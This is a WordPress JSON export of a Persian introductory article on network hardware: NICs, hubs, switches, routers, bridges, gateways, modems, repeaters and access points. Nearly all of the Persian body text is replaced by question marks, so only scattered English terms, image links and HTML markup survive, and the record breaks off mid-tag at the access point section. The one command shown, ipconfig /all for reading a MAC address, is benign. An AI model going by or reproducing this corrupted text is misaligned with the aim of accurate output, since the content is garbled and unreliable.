{"id":1926,"date":"2020-08-04T08:52:00","date_gmt":"2020-08-04T04:22:00","guid":{"rendered":"http:\/\/soroosheamniyat.ir\/?p=1926"},"modified":"2020-08-03T23:36:28","modified_gmt":"2020-08-03T19:06:28","slug":"%d8%a2%d8%b4%d9%86%d8%a7%db%8c%db%8c-%d8%a8%d8%a7-%d8%aa%d8%ac%d9%87%db%8c%d8%b2%d8%a7%d8%aa-%d8%b4%d8%a8%da%a9%d9%87-%da%a9%d8%a7%d8%b1%d8%aa-%d8%b4%d8%a8%da%a9%d9%87%d8%8c-%d9%87%d8%a7%d8%a8%d8%8c","status":"publish","type":"post","link":"https:\/\/soroosheamniyat.ir\/?p=1926","title":{"rendered":"\u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u0634\u0628\u06a9\u0647: \u06a9\u0627\u0631\u062a \u0634\u0628\u06a9\u0647\u060c \u0647\u0627\u0628\u060c \u0633\u0648\u0626\u06cc\u0686\u060c \u0631\u0648\u062a\u0631\u060c \u0628\u0631\u06cc\u062c\u060c \u06af\u06cc\u062a\u200c\u0648\u06cc\u060c \u0645\u0648\u062f\u0645\u060c \u0631\u06cc\u067e\u06cc\u062a\u0631\u060c \u0627\u06a9\u0633\u0633\u200c\u067e\u0648\u06cc\u0646\u062a"},"content":{"rendered":"<div class=\"field field-name-field-summary field-type-text-long field-label-hidden view-mode-full\">\n<div class=\"field-items\">\n<div class=\"field-item even\" style=\"text-align: justify;\">?? ?????? ????? ????? ????????? ?? ??????? ????????? ?? ?????????? ? ??????? ?????????? ????? ?? ?? ?????? ?????? ????? ?? ?????? ?????. ??? ?????????? ? ??????? ?????????? ?? ???? ???????? ???? (node) ??? ????????. ??????? ???? ???? ?????? ? ????? ?? ??? ?? ???????????? ???? ???? ????? ?? ????? ?? ??????? ??????? ???? ????????. ??????? ????? ?? ???? ????? ???? ?????. ???? ???? (Network Card)? ??? (Hub) ? ??????? ?? ????? (Switch)? ??????? ???? ?? ???? (Router)? ?? ???? ?? ???? (Bridge)? ?????? ???? ?? ?????? (Gateway)? ???? (Modem)? ??????? ?? ?????? (Repeater) ? ???? ?????? ?? ?????????? (Access Point) ???? ?? ????????? ? ???????? ??????? ????? ?????.<\/div>\n<\/div>\n<\/div>\n<div class=\"field field-name-body field-type-text-with-summary field-label-hidden view-mode-full\">\n<div class=\"field-items\">\n<div class=\"field-item even\">\n<p style=\"text-align: justify;\">???? <strong>?????? ?? ??????? ????<\/strong> ???? ???? ????? ??????? (?????)? ??????? (????)? ?? ???? (????)? ?????? ???? (??????)? ????? ??????? (??????) ? ???? ?????? (??????????)?\u00a0???? ? ????????? ?? ????\u00a0?? ????? ?? <a href=\"https:\/\/www.shabakeh-mag.com\/networking-technology\/17105\/%D8%B4%D8%A8%DA%A9%D9%87-%DA%A9%D8%A7%D9%85%D9%BE%DB%8C%D9%88%D8%AA%D8%B1%DB%8C-%DA%86%DB%8C%D8%B3%D8%AA-%D8%A7%D9%86%D9%88%D8%A7%D8%B9-%D8%B4%D8%A8%DA%A9%D9%87%E2%80%8C-%D9%88-%D8%AA%D8%B9%D8%A7%D8%B1%DB%8C%D9%81-%D9%88-%D8%A7%D8%B5%D8%B7%D9%84%D8%A7%D8%AD%D8%A7%D8%AA-%D8%B4%D8%A8%DA%A9%D9%87\">???????? ?????????<\/a> ????? ????\u00a0??????.<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/1596267497.jpg?itok=OrGiSm6A\" alt=\"\" \/><\/p>\n<hr \/>\n<h2 style=\"text-align: justify;\">???? ???? (Network Interface Card) ???? ? ?? ??????? ?????<\/h2>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/01_network_interface_card_0.jpg?itok=wvEQv-Qs\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">????? ?? ?? ????? ???? ???? ???? ?? ??? ???? ???? ???\u00a0??????.<\/p>\n<p style=\"text-align: justify;\"><strong>???? ????<\/strong> ?? <strong>???? ???? ????<\/strong> (NIC: Network Interface Card) ?? ?? ?? ???? ????? ? ??????? ???? ??? ????????? ??????? ?????????? ??? ?? ???????? ? ???? <strong>???????<\/strong> ??? <strong>????<\/strong> ???????? ?? ?? ???? ? ?? ??????? ???? ???????. ?? ????? ?? ???????? ?? ??????? ?? ?? ???? ???? ??????? ???? ?????? ?????? ?? ???? ??????? ???? ?? ?????? ????? ?? <strong>???? ????<\/strong> ???? ????. ???? ???? ??????????? ?? ?? ???? ????? ?? <strong>????\/????<\/strong> ????? ???? ???????? ?? ???? <strong>???? ????<\/strong> ????? ?? ?? ???? ?? ?? ???? ????????.<\/p>\n<p style=\"text-align: justify;\">???????? <strong>????? ????<\/strong> ??????????? ???? ????? ???? ??????????? ??? ?? ??? ???? ???? ??? ?????? ??? ?????? <strong>?????\u00a0????<\/strong> ???? ??????? ?? ???? ???? ????? ??????. ?????? <strong>?????\u00a0????<\/strong>\u00a0?? <strong>???? ????<\/strong> ???? ???????? ????? ? ?? ?????? ????.<\/p>\n<p style=\"text-align: justify;\">?? <strong>???? ????<\/strong>? ???? ?????? ???????????? ???? ?? ?? ??????? ?????? ?? ?? ?????? ???????. ???? ?????? <strong>???? ????<\/strong> ?? ???? ?? (MAC address) ??? ????????. ??? <strong>??????? <\/strong>??? <strong>????<\/strong> ??? ?? ????????? ????? ????? ?&#8230; <strong>???? ????<\/strong> ????? ?\u00a0????? ?? ???? ?? ????? ???? ???? ?????? ???? ???????? ???. ???? ?????? ???? ?? ?? ???? ?????? ???? ????? ??????????? ?? ?????????? ??????:<\/p>\n<ol style=\"text-align: justify;\">\n<li>?????? ?? ????? ?????? (command prompt) ?? ??? ????.<\/li>\n<li>???????: ipconfig \/all<\/li>\n<li>?? ?????? ?? ?? ????? ????????? ????? Physical Address ?? ???? ????. ????? ??? ?????? ???????? ???? ? ???? ????? ??? ??? ?? ???? ?????? <strong>???? ????<\/strong> ???????? ?????.<\/li>\n<\/ol>\n<hr \/>\n<h2 style=\"text-align: justify;\">??? (Hub) ???? ? ?? ??????? ?????<\/h2>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/02_hub.jpg?itok=yQLFaCgi\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">????? ?? ?? ????? ??? ????<\/p>\n<p style=\"text-align: justify;\"><strong><a href=\"https:\/\/www.shabakeh-mag.com\/networking-technology\/16151\/%D9%87%D8%A7%D8%A8-%D8%B4%D8%A8%DA%A9%D9%87-%DA%86%DB%8C%D8%B3%D8%AA%D8%9B-%D8%A7%D9%86%D9%88%D8%A7%D8%B9-%D9%87%D8%A7%D8%A8-%D9%88-%D9%85%D8%B2%D8%A7%DB%8C%D8%A7-%D9%88-%D9%85%D8%B9%D8%A7%DB%8C%D8%A8-%D8%A2%D9%86\">???<\/a><\/strong>? ?????????? ? <strong>??????? ????<\/strong> ?? ?? ?? ???? ??????. ?? ????? <strong>???<\/strong> ?? ??????? ???? ????? ??????? ???? ?????. ??? ???????? ?? ?? <strong>???<\/strong> ??? ???????? ??????? ?? ???????? ???????? (star topology) ????. ???? ?? <strong>??????<\/strong> ????? ?? ???? ???? ??????? ???? ?? ??????? ?????????? ??????? ?? ?????? ?? ??? ????? ??????? ?? ??? ?????????? ????? ?????? ?? ???????? ??????? ????? ?????.<\/p>\n<p style=\"text-align: justify;\"><strong>???<\/strong> ?? ??????? ?? ???? ?????? ???????? ??????? ? ?? ???? ?????? ???????? ?????? ?? ??? ???? ???? ??????? ?? ???? ??? ?? ???????? ???????? ??????? ?? ???? ?? ??????? ????????? ???. ??? ???????? ???????\u00a0??????? ?????? <strong>???<\/strong> ?? ??????? ?? ?????? ????????? ???? (packet) ?????? ??????. ??? ??? ???????? ??????? ?????? ?????? <strong>???<\/strong> ????? ?? ?? ??? ?????? ?????? ??????.<\/p>\n<p style=\"text-align: justify;\"><strong>???<\/strong>\u00a0????????? ????? ?????????? ?????????? ? ??????? ???? ?? ?????? ???. ?? ???????? ??????? <strong>????<\/strong> ??? ??? ??\u00a0?????? ?????????? ?????. ???? <strong>???<\/strong>? ??????? ?? ?? ?? ???? ?????? ??????? ???? ???? ?? ???? ?? ????? ??????? ? ???????? ?? ?? ???? ?? ???? ???? ??????. ?? ???? ???? ???? ??????? ?? ????? ? ?? ?? ?? ???? ???? ????????? ??? ?????? ?? ?????? ????? ?? ???? ????? ???? ???? ?? ?? ?????? ???. ??? ??? ?????? ?? ??????? ??????? ?????????. ??? ???? ???? ? ????? ?? ?? ???????? ???????? ??????? ?? ?? ????? ?? ????\u00a0?????? ????????? ?? ?? ???? ????? ?????? ? ?? ??? ?????? ??? ?????? ???. ?? ???? ???? ?????? ?? ???? ???????? ?????????? <strong>??????<\/strong>\u00a0??????? <strong>???<\/strong> ???? ???.<\/p>\n<hr \/>\n<h2 style=\"text-align: justify;\">??????? ?? ????? ???? (Switch) ???? ? ?? ??????? ?????<\/h2>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/03_switch.jpg?itok=3ynRw33F\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">????? ?? ?? ????? ????? ????<\/p>\n<p style=\"text-align: justify;\"><strong><a href=\"https:\/\/www.shabakeh-mag.com\/networking-technology\/16117\/%D8%B3%D9%88%D8%A6%DB%8C%DA%86-%D8%B4%D8%A8%DA%A9%D9%87-%DA%86%DB%8C%D8%B3%D8%AA-%D9%88-%DA%86%D9%87-%DA%A9%D8%A7%D8%B1%DB%8C-%D8%A7%D9%86%D8%AC%D8%A7%D9%85-%D9%85%DB%8C%E2%80%8C%D8%AF%D9%87%D8%AF%D8%9F\">??????? ?? ?????<\/a><\/strong> ??? ????? <strong>???<\/strong>? ?????????? ? <strong>??????? ????<\/strong> ?? ?? ??????? ???????? ?? ?? ???? ?? ?? ???? ??????. ??? <strong>????????<\/strong> ????? ???????? ? ???????? ?? <strong>???<\/strong> ?????. <strong>??????<\/strong> ?? ????? ??? ????? ????? ??\u00a0???? ???????? (switching table) ????\u00a0?? ???? ?????? (???? ??) ??? ???? ?? ???? ?? ?? ?? ??? ??????. ??? ???? ????????? ???? ?????? ? <strong>?????<\/strong> ???????? ?? ?????? ???? ?????? ???? ???? ? ????? ???? ?? ?? ???????? ?????? ????? ?? ????? ???? ???? ?? ????? ????. ???\u00a0<strong>?????<\/strong> ?????? ????? ? ??? ???? ???? ??? ???? ???????? ????? ?? ?? ??? ?? ???? ???? ????????. ??????? ?? <strong>?????<\/strong> ?? ??? <strong>???<\/strong>? ?? ?????? ? ?? ?????????? ???.<\/p>\n<p style=\"text-align: justify;\"><strong>?????????? ?? ????????<\/strong> ???? ?? ????????? ? ????????? ?? ?? ???? ??? ????? ???????: <strong>?????????<\/strong> ??????? ?? ??????????? (managed switch) ? <strong>?????????<\/strong> ?????????? ?? ????????????? (unmanaged switch). <strong>?????????<\/strong> ???????????? ????????? ? ??????? ?????? ????? ??? ????????? ? ???????? ????? ????? ????????? ???. <strong>?????????<\/strong> ????????????? ??????? ???? ?????? ? ?????????????? ??????? ???? ??? ??????????.<\/p>\n<p style=\"text-align: justify;\">??????? ??? ?? <strong>??????<\/strong> ???????? ?? ?????? ??? ? ???? ?? ????? ????. ?? ??? ???? OSI?\u00a0<strong>?????<\/strong> ?? ???? ????? ???? (Data Link) ?? ???? ???? (Network) ??? ??????. <strong>?????<\/strong> ???????? <strong>??????<\/strong> ??? ?? ???????? ?? ?? ?? ???? ??? ??? ? ??? <strong>?????<\/strong> ? ???? ?? ????? ???? ???. <strong>?????????<\/strong> ???????? ?????????? ??????? ????? ?? ?? ?????????? ???????? ???? ??????? <strong>?????? <\/strong>??? ???????? ???????.<\/p>\n<p style=\"text-align: justify;\"><strong>????????<\/strong> ???? ??? ??? ????? DDoS ???? ????. ???? ?????? ?? ????? DDoS ??????? ????? ?????? ?? ?????? ???? ?????? <strong>?????<\/strong> ?? ?? ??? ????????. ????? ????????\u00a0<strong>?????<\/strong> ??? ??? ???? ???? ???? ???????? <strong>?????<\/strong> ?????: ??? ???????? ?????????? <strong>?????<\/strong> ???? ??????? ????. ??????? ?? DHCP snooping? ?????? ?????\u00a0???????? ARP (?????? ????? ????) ? ???????? ???? ?? ??? ????? ??????.<\/p>\n<hr \/>\n<h2 style=\"text-align: justify;\">??????? ???? ?? ???? (Router) ???? ? ?? ??????? ?????<\/h2>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/04_router.jpg?itok=dmlHAFvh\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">?????\u00a0?? ?? ????? ????\u00a0?????? ?? ?????? ???????? ?? ????? ????? ? ?????\u00a0???????<\/p>\n<p style=\"text-align: justify;\"><strong><a href=\"https:\/\/www.shabakeh-mag.com\/networking-technology\/16188\/%D8%B1%D9%88%D8%AA%D8%B1-%DA%86%DB%8C%D8%B3%D8%AA-%D9%88-%D8%A7%D9%86%D9%88%D8%A7%D8%B9-%D9%88-%D9%88%D8%B8%D8%A7%DB%8C%D9%81-%D8%A2%D9%86-%DA%A9%D8%AF%D8%A7%D9%85-%D8%A7%D8%B3%D8%AA%D8%9F\">???????? ?????? ?? ????<\/a><\/strong>? ???????? ???? ?? ?? ?????? ???? ?????? ? ???????? ???? ?? ?? ???? ???? ?? ??????? ????? ??? ??????? ?? ???? ?? ???? ????????. <strong>????????\u00a0????<\/strong> ?? <strong>????<\/strong>\u00a0?????? ??????? ??? ? ??????? ????? ?? ????????? ?? ?? ?? ????? ????? ????? ????? ??????.<\/p>\n<p style=\"text-align: justify;\"><strong>??????<\/strong> ?? ????? ??? ????? ????? ?? ???? ???????? (Routing Table) ?????. ??????? ????? ?? ???? ??????? ? ???? ??????? ???? ??? ???????? ??????? ?? ??? ???? ????? ? ????? ??????? ???? ???????. <strong>??????<\/strong> ??????? ???????? ? ???? ??????? ???? ?? ?????? ?? ??? ?? ?? ?????? ??? ?? ?? ?????? ???????:<\/p>\n<ul style=\"text-align: justify;\">\n<li>?????? RIP (???? Routing Information Protocol)<\/li>\n<li>?????? BGP (???? Border Gateway Protocol)<\/li>\n<li>?????? OSPF (???? Open Shortest Path First)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>??????<\/strong> ? <strong>?????????<\/strong> ???? ????? ???????? ????? ??? ??????? ?????? ??? ?????????? ??????? ????? ?? ?? ???????????? ? ????????? ????? ?????????. <strong>????<\/strong> ?? ?? ?????? ?????\u00a0?????\u00a0????? ? ???????? (???????) ???? ?? ??? ???? ? ?? ??????? ????? ???? ? ???? ? ??? ???? ????? ??? IP ?? ????? ? ???? ???? ???? ?? ??? ? ???? ????????\u00a0?? ?? ???????? ????? ?? ???? ?? ???? ??? ????????? ????? ??????. ???? ???????? <strong>????<\/strong>\u00a0??? ????? ???? <strong>????<\/strong> ? ????\u00a0<strong>?????<\/strong>? ?????? ? ???? ??? ?????? ? ???? ??????.<\/p>\n<p style=\"text-align: justify;\"><strong>??????<\/strong> ???? ????? ?? ????? ???? ????? ? ???? ???? ???????? ???? ?? ??? ??????? ?? ?? ?????? ???? ???? ?????????? ???? ????. ??????? ????? ?? ?? ???? ?? ??????? ???? (???????) ?? ???? (????????) ???????? ???. ??????? ???? (???????) ?? ???? ???? ??????? ???? ?? ???? ???????? ???? ????? ??????. ??? ?????? ?? ???? ?? ???? ???? ????? ?? ????? ????? ???? ????????. ??? ?? ???????? ???? (????????)? <strong>????<\/strong> ?? ??? ?????????? ???? ?????? ? ??????? ???? ?? ?? ???? <strong>???????<\/strong> ?????? ??? ??????? ? ???? ???????? ??? ?? ?? ??????? ?? ??? ??????? ???? ??????. ?????? ??? ????? ?? ???????? ??????? ??? ?? ???? ?? ??? ?????? ?? ?? ?? ???????? ??????? (default routing) ????????. ???? ??????? ?? ???? ???? ???? ????? ??? ?? ???? ???????? <strong>????<\/strong> ????? ?????? ?? ??? <strong>????<\/strong> ?? ?? ???? ?? ???? ???????? ???? ???? ????? ?? ????? ?? ????? ?? ?? ???? ?? ???? ??????? ?? ?? ?? ???? ??????? ?? ???? ?? <strong>????<\/strong> ???? ?????? ????.<\/p>\n<p style=\"text-align: justify;\"><strong>??????<\/strong> ???? ????? ???? ???? ????? ?? ?? ?? ??? ??????? ??? ?? ??? ???????. ?????? ????????? ?? <strong>???????<\/strong> ????? ???? ???? ???? ???? ? ?????????? ???? ????? ?? ????? ?? ?? ??? ???????.<\/p>\n<p style=\"text-align: justify;\">???? <strong>??????<\/strong> ????????? ??? ??????? ?????????? ???????? ???? ?? ??? ???? ???? ?? ???? ??? ????? ?? ????????? ????? ?????? (ACL) ???? ???????. <strong>??????<\/strong>\u00a0???? ????? ????? LAN ?? ????? WAN ??? ?? ??? ???????. ????? ??????? ???? ??? ???? ??????? ?? <a href=\"https:\/\/www.shabakeh-mag.com\/networking-technology\/16601\/%D8%AA%D9%81%D8%A7%D9%88%D8%AA%E2%80%8C-%D8%B4%D8%A8%DA%A9%D9%87%E2%80%8C-pan-%D9%88-lan-%D9%88-can-%D9%88-man-%D9%88-wan\">???????? LAN ? WAN<\/a> ?? ?????????? ??????? ??????? ???????. <strong>?????<\/strong> ?? ?? ???? ??????? ????? <strong>????<\/strong> ???? (border router) ??? ????????. ??? <strong>??????<\/strong> ???? ????? ????? ???? LAN ?? ???? WAN ????? ??????? ? ?? ??? ???? ??? ???????. <strong>??????????<\/strong> ?? <strong>??????<\/strong> ?? ????? ????????? ??????? ?? ??? ???? ????? ???? ?? ????: <strong>???????<\/strong> ???? (Core router)? <strong>???????<\/strong> ???? (Border router)? ? <strong>???????<\/strong> ??? (Edge router). <strong>??????<\/strong> ?????? ?? ???? ???? ??? OSI ??? ???????.<\/p>\n<hr \/>\n<h2 style=\"text-align: justify;\">?? ???? ?? ???? (Bridge) ???? ? ?? ??????? ?????<\/h2>\n<p style=\"text-align: justify;\"><strong>?? ????<\/strong> ?? <strong>????<\/strong>? ???????? ??? ?? ?? ?? ??? ????? ???? ?? ?? ?? ????? ?????? ? ?? ???? ???? ????? ??????.\u00a0<strong>????<\/strong> ????????\u00a0?? ??? ????? ??? ???????? ????? ???? ?? ??? ????? ?????? ???.<\/p>\n<p style=\"text-align: justify;\">?? ?????? <strong>????<\/strong> ??? ????? <strong>???? <\/strong>(<strong>???????<\/strong>) ??????? ??\u00a0?? ??\u00a0???? ??????? ??? ?? ??? (bridging) ?? ???????? (routing) ????? ????. ?? ????????? ?? ??????? ?? ???? <strong>????<\/strong> ?? ?? ???? ???????? ????? ?? ?? ??? ???????. ??? ?? ?? ???? ?? ??????? ?? ?? <strong>????<\/strong> ?? ?? ???? ???????? ???? ????? ????? ??????? ? ?????????? ????? ?? ?? ??? ????.<\/p>\n<p style=\"text-align: justify;\"><strong>????<\/strong> ??? ?? ????? ??? ????? ?????? ?????\u00a0?? ???? ???\u00a0?? ???? ????? ????. ???\u00a0?? ?????? ???? ??????????? ??\u00a0????? <strong>???? <\/strong>????? ? ????? ????? ???????? ??? ???????? ????? <strong>?????\u00a0<\/strong><strong>??????<\/strong>\u00a0? <strong>????? <\/strong>?? ??? ??????? ???? ???????? ??? ?? ????????? ???? ?? ?? ?? ???? ???? ? ???? <strong>???? <\/strong>?????.<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/05_bridge.jpg?itok=kbcYwqgT\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">????? ?? ???\u00a0???? ???? ?? ????? ????. ?? ????? ????? ?? ?????? ??? ???. ?? ?? ???\u00a0?? ?????? ???? ???. ??? ?? ????? ??\u00a0??????? ?? ???? ?? ?? ???? ???.<\/p>\n<p style=\"text-align: justify;\"><strong>????<\/strong> ?? ?????? ???? ????? <strong>????<\/strong> ???? ?? ???? ?????? ????? ???? ???? ?? ?? ?????????? ?????? ?? ?????? ???? ??????. ??? <strong>?????<\/strong>? ???????? ??????? ?? ?? ?????? ???? ?????? ???? ???? ??? ?? ?????? (?? ???? ????) ??????? ???? ????? ?????? ?? ?? ???? ????? ???? ???. ???? <strong>????<\/strong> ???????? ???? ?? ????? ??????? ???? ?? ?????? ???????? ?? ?? ????? ???????. <strong>????<\/strong>? ??????? ?? ?? ??? ???? ????? <strong>????<\/strong> (bridge dynamic table) ????? ? ??? ??????? ??????. ???? <strong>????<\/strong> ??????? ???? ???? ??? ?? ??? ?? <strong>????<\/strong> ????? ?? ???? ???? ?????? ??????? ????? ?????? (???? ???? ????) ??????????? ???? ???? ? ??? ????? <strong>???????? ???? ????<\/strong> ?? ?? ???? ???? ?? ?? ???? ???????? ???? ???? ?????????? ?? ???? ??? ? ???? ????????? ???? ???????.<\/p>\n<p style=\"text-align: justify;\"><strong>???????<\/strong> ????? <strong>??????<\/strong> ?? ???????? ??????? ?? ??????? ????? ???????. ?????? ??????? ?? <strong>????<\/strong> ?? ??????? ???? ????? ??? ? <strong>????????<\/strong> ?? ?????????? ?????? ?????? ???????? ????? ???????. ?? ????? <strong>????????<\/strong> ???? ?? ???? ???? ?????? <strong>????<\/strong> ???????? ??? ?????? ???????. <strong>????<\/strong> ??? ?? ???? ?????? (Physical) ? ???? ????? ???? (Data Link) ??? OSI ??? ??????.<\/p>\n<hr \/>\n<h2 style=\"text-align: justify;\">?????? ???? ?? ?????? (Gateway) ???? ? ?? ??????? ?????<\/h2>\n<p style=\"text-align: justify;\"><strong>?????? ????<\/strong> ?? <strong>??????<\/strong> ????? ????? ?????? ??? ?? ???? ??? ?????? ? ????? ?????? ?? ?????? ???? ???? ?? ?? ?? ???? ???. <strong>??????<\/strong> ??????? ??? ?? ??????? ??? ???? ????? ??????? ???? ??? ???????\u00a0????? ?? ?????\u00a0????\u00a0???? ?? <strong>??????<\/strong> ??????. <strong>?????????<\/strong> ?????? ?? ???? ?????? (Transport) ? ???? ???? (Session) ??? OSI ??? ??????? ? ????????? ?? ?? ??? ???? ?????? ?? ?? ?? ?? ???????????? ????????? ?????????? ??????????? ????? ??? ?????? ? ??????? ? ????????? ??????? ??????? ?????? ?? ?? ???? ????.<\/p>\n<p style=\"text-align: justify;\">???????? ????? <strong>????<\/strong>? ??????? ?????????? ? ???? ?? ?????? ?? ????? ????????? ??? <strong>??????<\/strong> ?? ???? ????. ??? <strong>??????<\/strong>\u00a0??? ????? <strong>????<\/strong>\u00a0??? ?? ????? ??? ?????? ?????????? ?????? ????\u00a0?? ??? ???? ?? ???? ????? ????. ?? ???????? ????? ???? <strong>??????<\/strong> ??? <strong>??????<\/strong> ?? ????? ???????. <strong>???? <\/strong>????? ?? ??? ??????????? ???? ???? ????? ????? ?????? ?? ??????? ???? ????? ????.<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/06_network_gateway.jpg?itok=iQcNQkBa\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">????? ?? ?? ??? ????? ???? ?????? ???\u00a0?????? ?? ??? ????\u00a0??????.\u00a0??? ??????? ??? ???? ? ??? ???? ?????? ?? ???? ???? ?????? ?? ??????? ???? ???????.<\/p>\n<p style=\"text-align: justify;\"><strong>??????<\/strong> ?? <strong>??????<\/strong> ?? ???? ?????? ???????? ???????? ??????? ?? ???????? ???? ?? ?? ???? ?? ??????? ????? ??? ?? ???? ??????? ???? ?? ?? ????? ???? ??? ????. ?? ????? ???? ????????\u00a0??????? ?? ??????? ?? ?? ?????? ?? ?????? ????\u00a0????? ????. ??????? ?? ??????????\u00a0????? ???? ?? ?? ?????? ????? ???? ???? ?????? (protocol converter) ?????? ??????. ?? ???? ????? <strong>?????<\/strong> ?? ?????? ????? ????????? ?? ??????? ?? <strong>??????<\/strong> ?????. <strong>?????<\/strong> ?? ?? ??? <strong>??????<\/strong> ??? ???? ??????? ?????????? ?? <strong>????<\/strong> ???? ???.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.shabakeh-mag.com\/networking-technology\/16395\/%D8%AA%D9%81%D8%A7%D9%88%D8%AA-%D8%AF%DB%8C%D9%88%D8%A7%D8%B1%D9%87-%D8%A2%D8%AA%D8%B4-%D8%B3%D8%AE%D8%AA%E2%80%8C%D8%A7%D9%81%D8%B2%D8%A7%D8%B1%DB%8C-%D8%A8%D8%A7-%D8%AF%DB%8C%D9%88%D8%A7%D8%B1%D9%87-%D8%A2%D8%AA%D8%B4-%D9%86%D8%B1%D9%85%E2%80%8C%D8%A7%D9%81%D8%B2%D8%A7%D8%B1%DB%8C\">?????? ??? ?? ??????? ??????????<\/a> ?? ??? ??????? ??? ?? ???????????? ???????? <strong>??????<\/strong> ????? ?? ?????? ????? ? ????? ???? ?? ????? ? ?? ???? ????????? ?? ???????? ????? ???? ??????? ??????.<\/p>\n<hr \/>\n<h2 style=\"text-align: justify;\">???? (Modem) ???? ? ?? ??????? ?????<\/h2>\n<p style=\"text-align: justify;\">???? <strong>?????<\/strong> (modem) ????? ??? ????? modulator-demodulator ???. <strong>???????<\/strong> ???? ?????? ?????????? ??????? ??? ???? ???? ?????? ?? ??? ???????. ?????????? ??????? ???????? ???? ?? ?????????? ?????? ?? ?????????? ?????? ????? ? ?? <strong>????<\/strong> ????? ?? ???? ?????? ????? ???????. <strong>????<\/strong> ????????????? ??? ?????? ?????\u00a0?? ????? ?????? ? ???? ????????? ?? ?? ?? ???? ???? ?? ????? ??????? ????? ??????. ????? ??????? ?????? ??????? ????? ???? ???? ????????? RS-232 ?? <strong>????<\/strong> ????? ?? ?? <strong>????<\/strong> ?????? ??????.<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/07_modem.jpg?itok=Ny2NDNad\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">????? ?? ??? ?????? ??? ???? ?? ?????\u00a0??????? ??????? ?? ?????? ? ?????? ?? ????\u00a0??????.\u00a0???? ????? ?? ?????? ???? ?? ????? ?? ????? ?? ? ????? ?? ??? ???? ???.<\/p>\n<p style=\"text-align: justify;\">??? ?? ????????? ??????? ?????? DSL ???? ?? ????? ??????? ??????? ???????? <strong>????????<\/strong> ????? ????? <strong>?????????<\/strong> ????? <strong>????<\/strong>? ??? ???? ???? ???????? ??? ???????. ??? ?????? <strong>????????<\/strong> ????? VDSL\/ADSL ????? ?????????? ?????? ????? ?? ?? <strong>????<\/strong> ???????? ??????? ? ?? ???? ??? ?? ????? <strong>????\/????<\/strong> ??? ????????.\u00a0<strong>???????<\/strong> ?? ?? ???? ?????? ? ?? ?? ???? ????? ???? ??? ???????.<\/p>\n<hr \/>\n<h2 style=\"text-align: justify;\">??????? ?? ?????? (Repeater) ???? ? ?? ??????? ?????<\/h2>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/08_repeater.jpg?itok=E4oFUWZx\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">????? ?? ?? ????? ??????? (??????) ??????<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.shabakeh-mag.com\/networking-technology\/16089\/%D8%AA%DA%A9%D8%B1%D8%A7%D8%B1%DA%AF%D8%B1-%D8%B1%DB%8C%D9%BE%DB%8C%D8%AA%D8%B1-%D8%B4%D8%A8%DA%A9%D9%87-%DA%86%DB%8C%D8%B3%D8%AA-%D9%88-%DA%86%D9%87-%DA%A9%D8%A7%D8%B1%DB%8C-%D8%A7%D9%86%D8%AC%D8%A7%D9%85-%D9%85%DB%8C%E2%80%8C%D8%AF%D9%87%D8%AF%D8%9F\"><strong>???????<\/strong> ?? <strong>??????<\/strong><\/a> ?????? ??????????? ?????? ???. <strong>??????<\/strong> ?????????? ??????? ?? ??? ?? ????? ?? ???? ????? ?????? ?? ?????? ?????? ????. ?? ?????? <strong>??????<\/strong> ??? ??? ?? ?????? ?? ?? ???? ????? ??????.\u00a0??? ????? ???? ?????? ?? ??? ? ??? ?????? ?? ????? ??????. <strong>???????? <\/strong>?? ?? ???? ????? ?\u00a0?????? ????? ???????. ???? ??? ???? ??????? ????? ?? ??? ?????????? ?? ?? ???? ?? ????? ???? ?? ??? ?????? ???????? ????????? ?? ??? ???? <strong>??????<\/strong> ?? ??? ?????? ???? ? ??????? ??? ?????? ?? ?? ?? ????? ?????? ????.\u00a0<strong>??????<\/strong>\u00a0?? ???? ?????? ??? OSI ??? ??????.<\/p>\n<hr \/>\n<h2 style=\"text-align: justify;\">???? ?????? ?? ?????????? (Access Point) ???? ? ?? ??????? ?????<\/h2>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" 